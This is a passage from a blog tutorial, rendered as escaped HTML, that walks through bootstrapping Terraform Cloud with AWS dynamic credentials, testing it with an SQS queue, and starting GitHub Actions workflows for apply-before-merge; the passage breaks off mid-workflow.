style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eresource\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"tfe_variable\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"tfc-role\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e count\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e length\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(var\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003etfc_workspaces)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e key\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"TFC_AWS_RUN_ROLE_ARN\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e value\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e aws_iam_role\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003etfc-agent\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003earn\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e category\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"env\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e workspace_id\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e tfe_workspace\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003eworkspaces[count\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003eindex]\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003eid\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e description\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"Tell TFC what Role to run as\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eThis module is dynamic because there is one piece that will require a\nmanual oauth setup for github. So the first pass will apply without it\nand then later on we will create it and run the apply again.\u003c/p\u003e\n\u003ch2\u003eApplying the changes\u003c/h2\u003e\n\u003cp\u003eNow we just need to define our settings for the module and we will get our\ninfrastructure applied. Create a file called \u003ccode\u003esettings.auto.tfvars\u003c/code\u003e and\npopulate it with the content for your account. This is an example of what\nthis should look like:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"hcl\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"hcl\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003etfc_organization_name\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"sontek\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003etfc_organization_owner\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"john@sontek.net\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#768390\"\u003e# The workspaces you want to create and be able to manage with IaC\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003etfc_workspaces\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"root\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#768390\"\u003e# this can be your username\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003egithub_organization\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"sontek\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003egithub_repo_name\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"sontek-infra\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003eaws_root_account_id\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"888888888888\"\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eNow run:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e terraform\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e login\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e terraform\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e init\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eand you should see:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003eTerraform has been successfully initialized!\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eNow lets run our plan:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e❯ terraform plan\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eYou should see a result:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003ePlan: 10 to add, 0 to change, 0 to destroy.\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eApply it to make those resources:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e❯ terraform apply\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eAt this point it:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003eCreated a terraform cloud organization\u003c/li\u003e\n\u003cli\u003eCreated a terraform cloud workspace\u003c/li\u003e\n\u003cli\u003eCreated a git repository\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch1\u003eVerify TFC can talk to AWS\u003c/h1\u003e\n\u003cp\u003eTo verify that TFC can communicate with AWS through the dynamic credentials,\nlets clone the \u003cem\u003eNEW\u003c/em\u003e repository we just generated and make some dummy resources. After\nyou have cloned the repository lets make a folder for the workspace \u003ccode\u003eroot\u003c/code\u003e that we\ndefined in bootstrap:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e mkdir\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e root\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e cd\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e root\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eNow create a \u003ccode\u003e1-providers.tf\u003c/code\u003e:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"hcl\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"hcl\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eterraform\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e cloud\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e organization\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"sontek\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e workspaces\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e name\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"root\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e required_providers\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e aws\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e source \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"hashicorp/aws\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e version \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"4.58.0\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e tfe\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e source \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"hashicorp/tfe\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e version \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"0.42.0\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eprovider\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"aws\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e region\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"us-east-1\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e default_tags\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e tags\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e Owner \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"john@sontek.net\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e Env \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"Root\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e Service \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"BusinessOperations\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003e\u003cstrong\u003eNOTE\u003c/strong\u003e: You should replace \u003ccode\u003eorganization\u003c/code\u003e, \u003ccode\u003eworkspaces.name\u003c/code\u003e, and\n\u003ccode\u003etags.Owner\u003c/code\u003e to be your own values.\u003c/p\u003e\n\u003cp\u003eNow create a small resource to prove everything is working, we will use SQS for\nthis. Create a file called \u003ccode\u003e2-sqs.tf\u003c/code\u003e:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"hcl\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"hcl\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eresource\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"aws_sqs_queue\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"example-sqs\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e name\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"example-sqs\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e message_retention_seconds\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 86400\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e receive_wait_time_seconds\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 10\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eIf you run the plan you should see the resource it wants to create:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e terraform\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e init\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e terraform\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e plan\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eand you should see the run is executing in terraform cloud:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003eRunning plan in Terraform Cloud. Output will stream here. Pressing Ctrl-C\nwill stop streaming the logs, but will not stop the plan running remotely.\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eYou can click the link it provides to see the logs. Now lets apply this\nresource to see it all working:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e❯ terraform apply\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eYou should get a response like:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003eApply complete! Resources: 1 added, 0 changed, 0 destroyed.\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eSo Terraform Cloud has full access to create AWS resources! The final step\nis to get github running the plan/apply on pull requests. Commit these files\nto your repository and we will remove them in a pull request. Create a\n\u003ccode\u003e.gitignore\u003c/code\u003e file in the root:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e.terraform*\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eand commit all the files:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e git\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e add\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e *\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e git\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e commit\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -m\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"initial infra\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e git\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e push\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e origin\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e head\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003ch1\u003eGithub Actions\u003c/h1\u003e\n\u003cp\u003eThe two most popular workflows when using terraform are:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003cstrong\u003eApply after Merge\u003c/strong\u003e: This is the default for things like\n\u003ca href=\"https://terraform.io\"\u003eterraform cloud\u003c/a\u003e and most github actions.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003cstrong\u003eApply before Merge\u003c/strong\u003e: This is the default for things like\n\u003ca href=\"https://www.runatlantis.io/\"\u003eAtlantis\u003c/a\u003e.\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eI do not like apply-after-merge. There are a lot of ways where a \u003ccode\u003eplan\u003c/code\u003e\ncan succeed but an \u003ccode\u003eapply\u003c/code\u003e will fail and you end up with broken configuration\nin \u003ccode\u003emain\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003eSo in this article I will show you how to implement \u003cstrong\u003eapply-before-merge\u003c/strong\u003e with\ngithub actions.\u003c/p\u003e\n\u003cp\u003eAll of these changes will be in the \u003ccode\u003einfra\u003c/code\u003e repository that was generated from\n\u003ccode\u003ebootstrap\u003c/code\u003e. We are done with the bootstrap at this point.\u003c/p\u003e\n\u003cp\u003eFirst, lets setup the \u003ccode\u003e.github\u003c/code\u003e folder, the end result we want is:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e.github/\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e└──\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e workflows\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e ├──\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e on-apply-finished.yml\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e ├──\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e on-pull-request-labeled.yml\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e └──\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e on-pull-request.yml\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eSo create the folders:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e mkdir\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -p\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e .github/workflows\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003ch1\u003eOn Pull Request\u003c/h1\u003e\n\u003cp\u003eThe first flow we will create is the \u003ccode\u003eterraform plan\u003c/code\u003e workflow which should be\nran whenever a pull request is opened. Create the file\n\u003ccode\u003e.github/workflows/on-pull-request.yml\u003c/code\u003e and put this content in it:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"yml\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"yml\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003ename\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003epr_build\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#6CB6FF\"\u003eon\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e pull_request\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e branches\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003emain\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003eenv\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e TERRAFORM_CLOUD_TOKENS\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eapp.terraform.io=${{ secrets.TFE_TOKEN }}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e GITHUB_TOKEN\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e${{ secrets.GITHUB_TOKEN }}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003ejobs\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e terraform_validate\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e runs-on\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eubuntu-22.04\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e strategy\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e 